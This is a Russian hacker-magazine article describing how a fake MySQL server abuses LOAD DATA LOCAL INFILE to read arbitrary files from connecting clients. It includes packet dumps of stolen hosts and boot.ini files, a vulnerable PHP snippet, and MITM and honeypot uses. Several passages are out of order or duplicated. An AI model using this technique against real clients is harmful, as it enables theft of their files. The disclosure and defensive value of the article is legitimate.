

**WARNING**

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.



Алексей Осипов
[@GiftsUngiven](#)



Михаил Фирстов
[@cyberpunkych](#)



Денис Баранов
[@dsbaranov](#)



Юрий Гольцев
[@ygoltsev](#)

БОЕВОЙ ХОНИПОТ ИЗ БАЗЫ ДААННЫХ

КРАТКОЕ СОДЕРЖАНИЕ ДЛЯ САМЫХ НЕТЕРПЕЛИВЫХ

Теплый июньский день перед выходным. Ничто не предвещало беды, и тут некто Денис Баранов совместно с Михаилом Фирстовым и Алексеем Осиповым находят 0-day-фичу в реализации SQL-оператора LOAD DATA LOCAL INFILE и пишут под нее спloit.

ТЕПЕРЬ ПО ПОРЯДКУ

Все началось с того, что в Сети обнаружился забавный хак-квест. В одном из уровней необходимо было влить на строку соединения к базе данных. Идея понятная: если подменить адрес СУБД, то MySQL-клиент подключится не к серверу разработчика, а к серверу, контролируемому хакером. А значит, для обхода авторизации достаточно поднять свой MySQL-сервер и подменить таблицу с пользователями на свою. Тема не новая: подробнее об атаках с изменением строки соединения можно прочитать, к примеру, на rdot.

Сногсшибательный вектор атак на клиенты MySQL

База данных — лакомый кусочек для хакера. Но атакующий в погоне за информацией в СУБД сам может стать жертвой. Из-за лазейки, оставленной разработчиком, клиент вместо того, чтобы прочитать данные из базы, сам того не подозревая, может передать на сервер произвольный файл со своей системы! Как такое может быть?

3	0.00035300	192.168.127.2	192.168.127.128	TCP	54	32567	> mysql
4	0.00335100	192.168.127.2	192.168.127.128	MySQL	148	Request	Query
5	0.00366300	192.168.127.128	192.168.127.2	MySQL	96	Response	TABULAR
6	0.00371600	192.168.127.2	192.168.127.128	TCP	54	32567	> mysql
7	0.00387500	192.168.127.2	192.168.127.128	MySQL	886	Request	[Malformed Packet]
8	0.00597600	192.168.127.128	192.168.127.2	MySQL	114	Response	OK


```

Name: 4: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: VMware_eb:8e:75 (00:50:56:eb:8e:75), Dst: VMware_e2:9c:df (00:0c:29:e2:9c:df)
Internet Protocol Version 4, Src: 192.168.127.2, Dst: 192.168.127.128
Transmission Control Protocol, Src Port: 32567 (32567), Dst Port: mysql (3306), Seq: 148, Win: 0, Len: 0
MySQL Protocol
00 0c 29 e2 9c df 00 50 56 eb 8e 75 08 00 45 00  ..)....P V..u..E.
00 86 03 29 00 00 80 06 b7 75 c0 a8 7f 02 c0 a8  .....)...u.....
7f 80 7f 37 0c ea 6f 14 70 ad e0 9e 21 50 18  ...7...o. p=...!P.
fa f0 8d ec 00 00 5a 00 00 00 03 4c 4f 41 44 20  ....Z...LOAD
44 41 54 41 20 4c 4f 43 41 4c 20 49 4e 46 49 4c  DATA LOCAL INFILE
45 20 22 43 3a 5c 5c 57 69 6e 64 6f 77 73 5c 5c  E "C:\\w indows\\
73 79 73 74 65 6d 33 32 5c 5c 64 72 69 76 65 72  system32 \\driver
73 5c 5c 65 74 63 5c 5c 68 6f 73 74 73 22 20 49  s\\etc\\ hosts" I
4e 54 4f 20 54 41 42 4c 45 20 6d 79 73 71 6c 2e  NTO TABL E mysql.
74 65 73 74 test
  
```

2. Сервер отвечает нам неким пакетом, содержащим имя файла, которое было передано клиентом.
3. Клиент отправляет содержимое файла на сервер.

Странное поведение, не находишь? Сразу бросается в глаза, что всю эту последовательность можно сократить до одного шага — шага номер 3. Почуввав неладное, мы решили разобраться. И немного заморочившись с настройками проскривания, получили неожиданный результат.

Если на произвольный запрос MySQL-клиента мы отправим пакет #2, клиент сразу отправит нам содержимое файла независимо от того, какой изначально был запрос!

Сервер просит файл? Дадим ему файл!

ПРОЧИ ФАЙЛ! ПОЖАЛУЙСТА

В срочном порядке был набросан небольшой спloit на питоне с гордым названием rogue_

Клиент отправляет запрос на сервер #1

org (bit.ly/14rYQA9). Но появилась идея: если человек сам соединяется с твоим сервером, почему бы не найти вариант получения доступа к хосту, с которого он осуществляет соединение?

Есть идея — нужно пробовать! На ум сразу пришел замечательный оператор LOAD DATA LOCAL, который позволяет пользователю базы данных считать файлы со своей локальной системы и отправить их на сервер базы данных. Удобная функция, чтобы не приходилось писать скрипты или загружать файлы на сервер. И более того, она не требует повышенных привилегий, так как считается, что клиент читает собственные файлы. Найти бы вариант выполнить команду LOAD DATA LOCAL INFILE, причем без желания клиента.

В первую очередь изучаем материалы по теме, например на rdot.org (bit.ly/yqUzYw). Помимо описанных трюков, также можно попробовать поиграться с триггерами, но в случае select-запросов они бесполезны.

В итоге для решения задачи нужно представить себе логику программиста, разрабатывающего СУБД. Для того чтобы выполнить запрос, его необходимо распарсить. После этого можно выполнить нужные команды и отдать данные клиенту. Соответственно, запрос с оператором LOAD DATA LOCAL тоже должен где-нибудь разобратся. Варианта всего два: на сервере или на клиенте, но второй случай мы сразу отбрасываем, так как это было бы абсолютно неправильно с точки зрения архитектуры. Значит, оператор все-таки обрабатывается на сервере, после чего клиенту, видимо, отправляет служебное сообщение «Отдай мне файл с таким-то именем». Клиент получает сообщение и отдает запрошенные данные серверу.

А теперь самое главное! А что, если на любой SQL-запрос от клиента отвечать служебным сообщением «Отдай мне файл»? :

ПРАКТИКА

В обычном случае взаимодействие с БД выглядит так: мы авторизуемся → если авторизация успешна, отправляем запрос → получаем результат. Последние два пункта можно повторять сколько угодно раз. Однако для LOAD DATA LOCAL INFILE все немного иначе. Обрати внимание на IP-адреса и порты, с которых приходят запросы:

1. Предположим, мы уже авторизованы и посылает запрос LOAD DATA LOCAL INFILE "C:\\Windows\\system32\\drivers\\etc\\hosts" INTO TABLE mysql.test.

В результате простейший скрипт на Python'e, выдающий себя за MySQL-сервер, может прочитать любой файл с подключающего клиента. Разве это не прекрасно?

4	0.00335100	192.168.127.2	192.168.127.128	MySQL	148	Request	Query
5	0.00366300	192.168.127.128	192.168.127.2	MySQL	96	Response	TABULAR
6	0.00371600	192.168.127.2	192.168.127.128	TCP	54	32567	> mysql [ACK] seq=1
7	0.00387500	192.168.127.2	192.168.127.128	MySQL	886	Request	[Malformed Packet]
8	0.00597600	192.168.127.128	192.168.127.2	MySQL	114	Response	OK


```

Name: 5: 96 bytes on wire (768 bits), 96 bytes captured (768 bits) on interface 0
Ethernet II, Src: VMware_e2:9c:df (00:0c:29:e2:9c:df), Dst: VMware_eb:8e:75 (00:50:56:eb:8e:75)
Internet Protocol Version 4, Src: 192.168.127.128, Dst: 192.168.127.2 (192.168.127.2)
Transmission Control Protocol, Src Port: mysql (3306), Dst Port: 32567 (32567), Seq: 12, Ack: 148, Win: 0, Len: 0
MySQL Protocol
00 50 56 eb 8e 75 00 0c 29 e2 9c df 08 00 45 08  ..PV..u..)....E.
00 52 91 19 40 00 04 06 29 b1 c0 a8 7f 80 c0 a8  ..R.@.@.).....
7f 02 0c ea 7f 37 3d e0 9e 21 6f 14 71 0b 50 18  ...7...!.o.q.p.
44 40 56 bc 00 00 26 00 00 01 fb 43 8a 5c 57 69  p@V...&. ...C:\\w
6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 64  ndows\\sy stem32 \\
72 69 76 65 72 73 5c 65 74 63 5c 68 6f 73 74 73  drivers\\e tc\\hosts
  
```

Ответ сервера на запрос LOAD DATA LOCAL #2

4	0.00335100	192.168.127.2	192.168.127.128	MySQL	148	Request	Query
5	0.00366300	192.168.127.128	192.168.127.2	MySQL	96	Response	TABULAR
6	0.00371600	192.168.127.2	192.168.127.128	TCP	54	32567	> mysql [ACK] Seq=1
7	0.00387500	192.168.127.2	192.168.127.128	MySQL	886	Request	[Malformed Packet]
8	0.00597600	192.168.127.128	192.168.127.2	MySQL	114	Response	OK


```

Name: 7: 886 bytes on wire (7088 bits), 886 bytes captured (7088 bits) on interface 0
Ethernet II, Src: VMware_eb:8e:75 (00:50:56:eb:8e:75), Dst: VMware_e2:9c:df (00:0c:29:e2:9c:df)
Internet Protocol Version 4, Src: 192.168.127.2, Dst: 192.168.127.128 (192.168.127.128)
Transmission Control Protocol, Src Port: 32567 (32567), Dst Port: mysql (3306), Seq: 100, Ack: 148, Win: 0, Len: 0
MySQL Protocol
fa f0 37 fb 00 00 38 03 00 02 23 20 43 6f 70 79  ..7...8. ..# Copy
72 69 67 68 74 20 28 63 29 20 31 39 39 33 2d 32  right (C ) 1993-2
30 30 39 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f  009 Micr osoft Co
72 70 2e 0d 0a 23 0d 0a 23 20 54 68 69 73 20 69  rp...#.. # This i
73 20 61 20 73 61 6d 70 6c 65 20 48 4f 53 54 53  s a samp le HOSTS
20 66 69 6c 65 20 75 73 65 64 20 62 79 20 4d 69  file us ed by Mi
63 72 6f 73 6f 66 74 20 54 43 50 2f 49 50 20 66  crosoft TCP/IP f
6f 72 20 57 69 6e 64 6f 77 73 2e 0d 0a 23 0d 0a  on windo ws...#..
23 20 54 68 69 73 20 66 69 6c 65 20 63 6f 6e 74  # This f ile cont
61 69 6e 73 20 74 68 65 20 6d 61 70 70 69 6e 67  ains the mapping
73 20 6f 66 20 49 50 20 61 64 64 72 65 73 73 65  s of IP address
73 20 74 6f 68 6f 73 74 20 6e 61 6d 65 73 2e 2e s to hos t names.
20 45 61 63 68 0d 0a 23 20 65 6e 74 72 79 20 73  Each. # entry s
68 6f 75 6c 64 20 62 65 20 6b 65 70 74 20 6f 6e  hould be kept on
20 61 6e 20 69 6e 64 69 76 69 64 75 61 6c 20 6c  an indi vidual l
69 6e 65 2e 20 54 68 65 20 49 50 20 61 64 64 72  ine. The IP addr
  
```

Контент файла летит на сервер #3

```

MySQL Protocol
  Packet Length: 61
  Packet Number: 0
  Server Greeting
    Protocol: 10
    Version: 5.1.66-0+squeezel
    Thread ID: 54
    Salt: evilsalt
  Server Capabilities: 0xF7DF
    .... 1 = Long Password: Set
    .... 1 = Found Rows: Set
    .... 1 = Long Column Flags: Set
    .... 1 = Connect with Database: Set
    .... 1 = Don't Allow database.table.column: Set
    .... 0 = Can use compression protocol: Not set
    .... 1 = ODBC Client: set
    .... 1 = Can Use LOAD DATA LOCAL: Set
    .... 1 = Ignore spaces before '(': Set
    .... 1 = Speaks 4.1 protocol (new flag): Set
    .... 1 = Interactive Client: Set
    .... 0 = Switch to SSL after handshake: Not set
    .... 1 = Ignore sigpipes: Set
    .... 1 = Knows about transactions: Set
    .... 1 = Speaks 4.1 protocol (old flag): Set
    .... 1 = Can do 4.1 authentication: Set
  Charset: latin1 COLLATE latin1_swedish_ci (8)
  Server Status: 0x0002
  Unused:
  Salt: otheaarsal

```

Бит, говорящий о возможности использования LOAD DATA LOCAL

mysql. Весь его функционал заключался в том, что он принимает подключения от MySQL-клиента (причем неважно, какой логин и пароль используется для подключения) и на любой запрос клиента отправляет запрос на чтение определенного файла. Общение выглядит следующим образом:

1. Клиент выполняет запрос `SELECT * FROM mysql.user (1)`.
2. Сервер отвечает: «А прочитай-ка лучше свой файл `c:/boot.ini`» (2).
3. Прочитать файл? Ну лаадно, держи (3).

В результате простейший скрипт на Python'e, выдающий себя за MySQL-сервер, может прочитать любой файл с подключающего клиента (как в данном случае `boot.ini`). Разве это не прекрасно?

IN THE WILD

Способ запуска: `python rogue_mysql.py`. По умолчанию читается случайный файл из списка в самом начале скрипта.

Где может пригодиться? К примеру, теперь могут пригодиться установочные скрипты вордпресса или `phpMyAdmin` с нерабочими базами MySQL. Обращаемся на наш сервер и получаем полноценную читалку файлов в контексте уязвимого клиента. Ниже представлен небольшой пример для наглядности:

```

<?php
$conn = mysql_connect(

```

```

Stream Content
? ...
5.1.66-0
+squeezel.f...PbxV'\zsj...wqgg0XJ.
Q...root..0 P...
[ z.m.v..D...mysql_na...ve_password...
mysql.user...c:/boot.ini...[boot load...
timeout=30
default=multi(0)disk(0)rdisk(0)partition(C)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /
Fastdetect ...]

```

Сливаем `boot.ini`

```

($GET['mysql_host_port'],←
'root', '12345');
mysql_query('SELECT * ←
FROM mysql.user');
?>

```

Или другой вариант: можно реализовать небольшой honeypot, в котором файлы будут читаться с сервера брутгера/атакующего. Это вообще может получиться забавный эксперимент с интересными результатами. Так, оставив работающим скрипт `rogue_mysql.py`, мы насобирали порядочное количество файлов `hosts`, принадлежащих нашим серверам, с которых мы тестировали брутфорс :).

НЕМНОГОДЕГТЯ

Уязвимость интересная, но, к сожалению (или к счастью?), не все MySQL-клиенты по умолчанию собраны с флагом, отвечающим за возможность исполнения функционала `LOAD DATA LOCAL`. Это серьезное ограничение (парни сильно расстроились, когда так и не смогли пробить ни мой GUI-клиент на Mac'e, ни стандартный MySQL-клиент, запущенный на Ubuntu; видимо, в гости в офис PT больше не поустят. — Прим. главреда).

Выяснить, поддерживает ли клиент этот функционал или нет, можно по данным первого пакета, пришедшего серверу от клиента, в секции `Server Greeting`. Пример данных из такого пакета представлен на рисунке.

```

127.0.0.1 localhost
127.0.1.1 bt.foo.org bt

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

```

Файл атакующего

НОВАЯ ФИШКА INTERCEPTER-NG

Естественно, эту особенность клиентов MySQL вполне можно использовать при MITM-атаках в процессе проведения тестирования на проникновение. Не надо ждать, пока клиент сам выполнит оператор `LOAD DATA LOCAL`, — достаточно просто оказаться между ним и сервером :). Ares, автор тулкита `Intercepter` (intercepter.nerf.ru), заинтересовался нашей находкой и с радостью добавил функционал для реализации подобной атаки. Официально эта функция станет доступной после релиза нового билда. Но если не терпится, ты всегда можешь попросить у автора сборку, включающую в себя этот новый функционал.



Новый функционал в Intercepter-NG

ВМЕСТО ЗАКЛЮЧЕНИЯ

По правде говоря, оператор `LOAD DATA LOCAL` — это уже сама по себе интересная штука, которая не раз помогала нам при проведении тестов на проникновения, еще до момента, когда мы нашли возможность для выполнения обратной атаки.

Немного покопавшись в документации, мы обнаружили, что разработчики частично в курсе этой особенности. Так, на официальном сайте сказано, что теоретически между клиентом и сервером MySQL может вмешаться третье лицо и модифицировать запрос `LOAD DATA LOCAL`, в результате в базу будет записан совершенно другой файл. Но такая ситуация маловероятна. А вот что действительно реально, так это описанная сегодня концепция хонибота.

Как ты видишь, тема атаки на клиенты со стороны сервера на данный момент раскрыта не полностью. И вполне реально обнаружить подобные забавные особенности и для других сервисов, доступных по другим портам. Помни, хакер: подключился к чужому серверу — будь осторожен! Атаковать тебя может и легальный владелец ресурса! **И**